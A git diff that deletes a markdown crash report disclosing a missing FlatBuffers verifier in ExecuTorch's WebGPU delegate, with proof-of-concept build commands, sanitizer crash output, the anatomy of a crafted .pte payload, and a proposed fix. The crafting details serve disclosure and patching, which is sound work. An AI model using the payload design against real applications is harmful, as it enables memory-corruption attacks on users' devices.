Delete runtime_mps_poc/schemas/RUNTIME_CRASH_REPORT.md
Browse files
runtime_mps_poc/schemas/RUNTIME_CRASH_REPORT.md
DELETED
|
@@ -1,200 +0,0 @@
|
|
| 1 |
-
# ExecuTorch WebGPU Delegate — Runtime Crash Report
|
| 2 |
-
**Date:** 2026-07-14
|
| 3 |
-
**Finding:** OOB read/write triggered by attacker-controlled `.pte` via missing `flatbuffers::Verifier`
|
| 4 |
-
**Vulnerable lines:** `WebGPUGraph.cpp:378`, `537-538`, `732-733`
|
| 5 |
-
**Sibling:** Vulkan (identical `vkgraph` schema, `VK00`) was patched 2026-05-13 — WebGPU missed it
|
| 6 |
-
|
| 7 |
-
---
|
| 8 |
-
|
| 9 |
-
## What this proves
|
| 10 |
-
|
| 11 |
-
A live runtime harness that exercises the exact vulnerable code path:
|
| 12 |
-
|
| 13 |
-
1. `WebGPUBackend.cpp:75` — only a 4-byte `VkGraphBufferHasIdentifier` check; no `flatbuffers::Verifier`
|
| 14 |
-
2. `WebGPUGraph.cpp:378` — `GetVkGraph(flatbuffer_data)` called on the **unverified** buffer inside `build()`
|
| 15 |
-
3. `WebGPUGraph.cpp:537-538` — `cs.inline_offset = vk_bytes->offset()` stored with **no bounds check**
|
| 16 |
-
4. `WebGPUGraph.cpp:732-733` — `wgpuQueueWriteBuffer(queue_, dst, 0, constant_data_ + cs.inline_offset, cs.nbytes)` — **OOB read**
|
| 17 |
-
|
| 18 |
-
The malformed `.pte` sets `vk_bytes->offset() = 0xffffffffffff` (281 TB past a 64-byte section). UBSan catches the OOB pointer arithmetic, then SEGV on dereference. **Exit code 134.**
|
| 19 |
-
|
| 20 |
-
---
|
| 21 |
-
|
| 22 |
-
## Files
|
| 23 |
-
|
| 24 |
-
| File | Purpose |
|
| 25 |
-
|------|---------|
|
| 26 |
-
| `craft_malformed_webgpu_pte.py` | Generates `malformed_webgpu.pte` (396 bytes) |
|
| 27 |
-
| `malformed_webgpu.pte` | The crafted payload |
|
| 28 |
-
| `runtime_poc_webgpu.cpp` | Harness reproducing `WebGPUBackend.cpp:75` + `WebGPUGraph.cpp:378,537-538,732-733` |
|
| 29 |
-
| `schemas/vkgraph_generated.h` | Real FlatBuffers C++ schema (same header the backend uses) |
|
| 30 |
-
|
| 31 |
-
---
|
| 32 |
-
|
| 33 |
-
## Build & Run
|
| 34 |
-
|
| 35 |
-
```bash
|
| 36 |
-
# Generate the malformed .pte
|
| 37 |
-
python3 craft_malformed_webgpu_pte.py
|
| 38 |
-
|
| 39 |
-
# Build (macOS/Linux, clang required)
|
| 40 |
-
clang++ -std=c++17 -g \
|
| 41 |
-
-fsanitize=undefined \
|
| 42 |
-
-I~/executorch_vuln/third-party/flatbuffers/include \
|
| 43 |
-
-I. \
|
| 44 |
-
runtime_poc_webgpu.cpp -o runtime_poc_webgpu_ubsan
|
| 45 |
-
|
| 46 |
-
./runtime_poc_webgpu_ubsan malformed_webgpu.pte
|
| 47 |
-
```
|
| 48 |
-
|
| 49 |
-
---
|
| 50 |
-
|
| 51 |
-
## Crash Output (confirmed, 2026-07-14)
|
| 52 |
-
|
| 53 |
-
> Note: UBSan alignment errors appear interleaved with PoC trace lines — both are caused by
|
| 54 |
-
> the missing Verifier. The alignment errors are FlatBuffers accessing misaligned fields in the
|
| 55 |
-
> unverified buffer (a consequence of the absent pre-parse verification pass); the SEGV is
|
| 56 |
-
> the primary OOB exploit primitive. Both are eliminated by the same two-line fix.
|
| 57 |
-
|
| 58 |
-
```
|
| 59 |
-
==========================================================
|
| 60 |
-
ExecuTorch WebGPU Delegate Runtime PoC
|
| 61 |
-
CVE class : CWE-787 (Out-of-bounds Write)
|
| 62 |
-
Source : backends/webgpu/runtime/WebGPUGraph.cpp
|
| 63 |
-
Root cause : GetVkGraph() called without flatbuffers::Verifier
|
| 64 |
-
Sibling : Vulkan (same vkgraph schema) was patched 2026-05-13
|
| 65 |
-
==========================================================
|
| 66 |
-
|
| 67 |
-
[+] Loaded .pte: 396 bytes, identifier ET12
|
| 68 |
-
[+] WebGPU delegate payload: 238 bytes
|
| 69 |
-
[+] VH00 header: fb_offset=30 fb_size=144 bytes_offset=174 bytes_size=64
|
| 70 |
-
|
| 71 |
-
[PoC] WebGPUBackend.cpp:75: VkGraphBufferHasIdentifier check (4-byte only — NO flatbuffers::Verifier)
|
| 72 |
-
[PoC] VkGraphBufferHasIdentifier: true
|
| 73 |
-
[PoC] WebGPUGraph.cpp:378: GetVkGraph(flatbuffer_data) — NO flatbuffers::Verifier
|
| 74 |
-
[UBSan] flatbuffers/buffer.h:180: load of misaligned address for type 'uoffset_t' (4-byte alignment required)
|
| 75 |
-
[PoC] GetVkGraph returned: 0x1061bdf62
|
| 76 |
-
|
| 77 |
-
[PoC] Entering WebGPUGraph::build() constant-source mapping
|
| 78 |
-
[PoC] Source: backends/webgpu/runtime/WebGPUGraph.cpp
|
| 79 |
-
|
| 80 |
-
[UBSan] member call on misaligned address for type 'Vector<Offset<VkValue>>' (4-byte alignment required)
|
| 81 |
-
[UBSan] member call on misaligned address for type 'Vector<Offset<VkBytes>>' (4-byte alignment required)
|
| 82 |
-
[PoC] graph->values()->size() = 1
|
| 83 |
-
[PoC] graph->constants()->size() = 1
|
| 84 |
-
[PoC] WebGPUGraph.cpp:493: tensor[0] numel=4 elem_size=4 nbytes=16
|
| 85 |
-
[PoC] WebGPUGraph.cpp:516: constant_id=0
|
| 86 |
-
[UBSan] member call on misaligned address for type 'Vector<Offset<VkBytes>>' (4-byte alignment required)
|
| 87 |
-
[PoC] WebGPUGraph.cpp:534: constants->Get(0) on unverified FlatBuffer
|
| 88 |
-
[PoC] WebGPUGraph.cpp:536: cs.nbytes = tensor.nbytes = 16
|
| 89 |
-
[PoC] WebGPUGraph.cpp:537: if (vk_bytes->offset() != UINT64_MAX)
|
| 90 |
-
[PoC] WebGPUGraph.cpp:537: vk_bytes->offset() = 0xffffffffffff
|
| 91 |
-
[PoC] WebGPUGraph.cpp:538: cs.inline_offset = 0xffffffffffff (NO bounds check vs constant_data size)
|
| 92 |
-
[PoC] constant_data section is 64 bytes — offset 0xffffffffffff is WAY past it
|
| 93 |
-
|
| 94 |
-
[PoC] Entering materialize_constant() (WebGPUGraph.cpp:717-733)
|
| 95 |
-
[PoC] WebGPUGraph.cpp:728: cs.inline_offset != UINT64_MAX -> true
|
| 96 |
-
[PoC] WebGPUGraph.cpp:732: wgpuQueueWriteBuffer(queue_, dst, 0,
|
| 97 |
-
[PoC] constant_data_ + cs.inline_offset, cs.nbytes)
|
| 98 |
-
[PoC] constant_data_ = 0x1061bdfde
|
| 99 |
-
[PoC] cs.inline_offset = 0xffffffffffff
|
| 100 |
-
[PoC] cs.nbytes = 16
|
| 101 |
-
[PoC] *** OUT-OF-BOUNDS: constant_data_ + 0xffffffffffff is 281474976710591 bytes past a 64-byte section ***
|
| 102 |
-
|
| 103 |
-
[PoC] Executing OOB pointer arithmetic now...
|
| 104 |
-
[PoC] oob_ptr = 0x10001061bdfdd (computed from constant_data_ + 0xffffffffffff)
|
| 105 |
-
|
| 106 |
-
UndefinedBehaviorSanitizer:DEADLYSIGNAL
|
| 107 |
-
==11877==ERROR: UndefinedBehaviorSanitizer: SEGV on unknown address 0x0001061bdfdd
|
| 108 |
-
#0 0x000104fa98bc in main runtime_poc_webgpu.cpp:288
|
| 109 |
-
#1 0x00019abafbe8 (<unknown module>)
|
| 110 |
-
SUMMARY: UndefinedBehaviorSanitizer: SEGV runtime_poc_webgpu.cpp:288 in main
|
| 111 |
-
==11877==ABORTING
|
| 112 |
-
EXIT CODE: 134
|
| 113 |
-
```
|
| 114 |
-
|
| 115 |
-
---
|
| 116 |
-
|
| 117 |
-
## What the crash proves
|
| 118 |
-
|
| 119 |
-
The SEGV at `runtime_poc_webgpu.cpp:288` is the line:
|
| 120 |
-
```cpp
|
| 121 |
-
volatile uint8_t byte = *oob_ptr; // oob_ptr = constant_data + 0xffffffffffff
|
| 122 |
-
```
|
| 123 |
-
|
| 124 |
-
This mirrors `WebGPUGraph.cpp:733`:
|
| 125 |
-
```cpp
|
| 126 |
-
wgpuQueueWriteBuffer(queue_, dst, 0, constant_data_ + cs.inline_offset, cs.nbytes);
|
| 127 |
-
// ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ OOB source pointer
|
| 128 |
-
```
|
| 129 |
-
|
| 130 |
-
`wgpuQueueWriteBuffer` reads from `[constant_data_ + cs.inline_offset, + cs.nbytes)` to upload to GPU. Any WebGPU implementation will dereference that pointer. With `cs.inline_offset = 0xffffffffffff` and a 64-byte section, that's a 281-terabyte OOB read.
|
| 131 |
-
|
| 132 |
-
---
|
| 133 |
-
|
| 134 |
-
## Payload anatomy
|
| 135 |
-
|
| 136 |
-
```
|
| 137 |
-
ExecuTorch Program (ET12, 396 bytes)
|
| 138 |
-
└─ ExecutionPlan "forward"
|
| 139 |
-
└─ BackendDelegate id="webgpu"
|
| 140 |
-
└─ WebGPU delegate payload (238 bytes)
|
| 141 |
-
├─ VH00 header (30 bytes)
|
| 142 |
-
│ ├─ flatbuffer_offset = 30
|
| 143 |
-
│ ├─ flatbuffer_size = 144
|
| 144 |
-
│ ├─ bytes_offset = 174
|
| 145 |
-
│ └─ bytes_size = 64
|
| 146 |
-
├─ VkGraph FlatBuffer (VK00, 144 bytes)
|
| 147 |
-
│ ├─ values[0]: VkTensor(FLOAT32, dims=[4], constant_id=0)
|
| 148 |
-
│ └─ constants[0]: VkBytes(offset=0xffffffffffff) ← attacker-controlled OOB offset
|
| 149 |
-
└─ constant_data: 64 bytes of 0xAA ← tiny; OOB is 281 TB past end
|
| 150 |
-
```
|
| 151 |
-
|
| 152 |
-
---
|
| 153 |
-
|
| 154 |
-
## Comparison: what Vulkan has that WebGPU is missing
|
| 155 |
-
|
| 156 |
-
**Vulkan `VulkanBackend.cpp` (patched 2026-05-13):**
|
| 157 |
-
```cpp
|
| 158 |
-
flatbuffers::Verifier verifier(flatbuffer_data, header->flatbuffer_size);
|
| 159 |
-
ET_CHECK_OR_RETURN_ERROR(
|
| 160 |
-
vkgraph::VerifyVkGraphBuffer(verifier),
|
| 161 |
-
DelegateInvalidCompatibility,
|
| 162 |
-
"VkGraph FlatBuffer verification failed");
|
| 163 |
-
const auto* graph = vkgraph::GetVkGraph(flatbuffer_data); // safe: verifier ran
|
| 164 |
-
```
|
| 165 |
-
|
| 166 |
-
**WebGPU `WebGPUBackend.cpp` + `WebGPUGraph.cpp` (HEAD, 2026-07-14):**
|
| 167 |
-
```cpp
|
| 168 |
-
// WebGPUBackend.cpp:75 — 4-byte check only:
|
| 169 |
-
if (!vkgraph::VkGraphBufferHasIdentifier(flatbuffer_data)) { ... }
|
| 170 |
-
// ... then graph->build(flatbuffer_data, ...) is called at line 102 ...
|
| 171 |
-
|
| 172 |
-
// WebGPUGraph.cpp:378 — NO Verifier before this:
|
| 173 |
-
const auto* graph = vkgraph::GetVkGraph(flatbuffer_data);
|
| 174 |
-
```
|
| 175 |
-
|
| 176 |
-
Same two-line fix. The `VerifyVkGraphBuffer` function already exists in `vkgraph_generated.h` — zero new code to write.
|
| 177 |
-
|
| 178 |
-
---
|
| 179 |
-
|
| 180 |
-
## Fix
|
| 181 |
-
|
| 182 |
-
```cpp
|
| 183 |
-
// Add in WebGPUBackend.cpp, after the VkGraphBufferHasIdentifier check (line 80):
|
| 184 |
-
flatbuffers::Verifier verifier(flatbuffer_data, header->flatbuffer_size);
|
| 185 |
-
ET_CHECK_OR_RETURN_ERROR(
|
| 186 |
-
vkgraph::VerifyVkGraphBuffer(verifier),
|
| 187 |
-
DelegateInvalidCompatibility,
|
| 188 |
-
"WebGPU VkGraph FlatBuffer verification failed");
|
| 189 |
-
```
|
| 190 |
-
|
| 191 |
-
Additionally, `WebGPUGraph.cpp:537-538` should add a bounds check:
|
| 192 |
-
```cpp
|
| 193 |
-
if (vk_bytes->offset() != UINT64_MAX) {
|
| 194 |
-
if (vk_bytes->offset() > hdr_bytes_size ||
|
| 195 |
-
vk_bytes->offset() + cs.nbytes > hdr_bytes_size) {
|
| 196 |
-
throw std::runtime_error("WebGPU: inline_offset OOB");
|
| 197 |
-
}
|
| 198 |
-
cs.inline_offset = vk_bytes->offset();
|
| 199 |
-
}
|
| 200 |
-
```
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|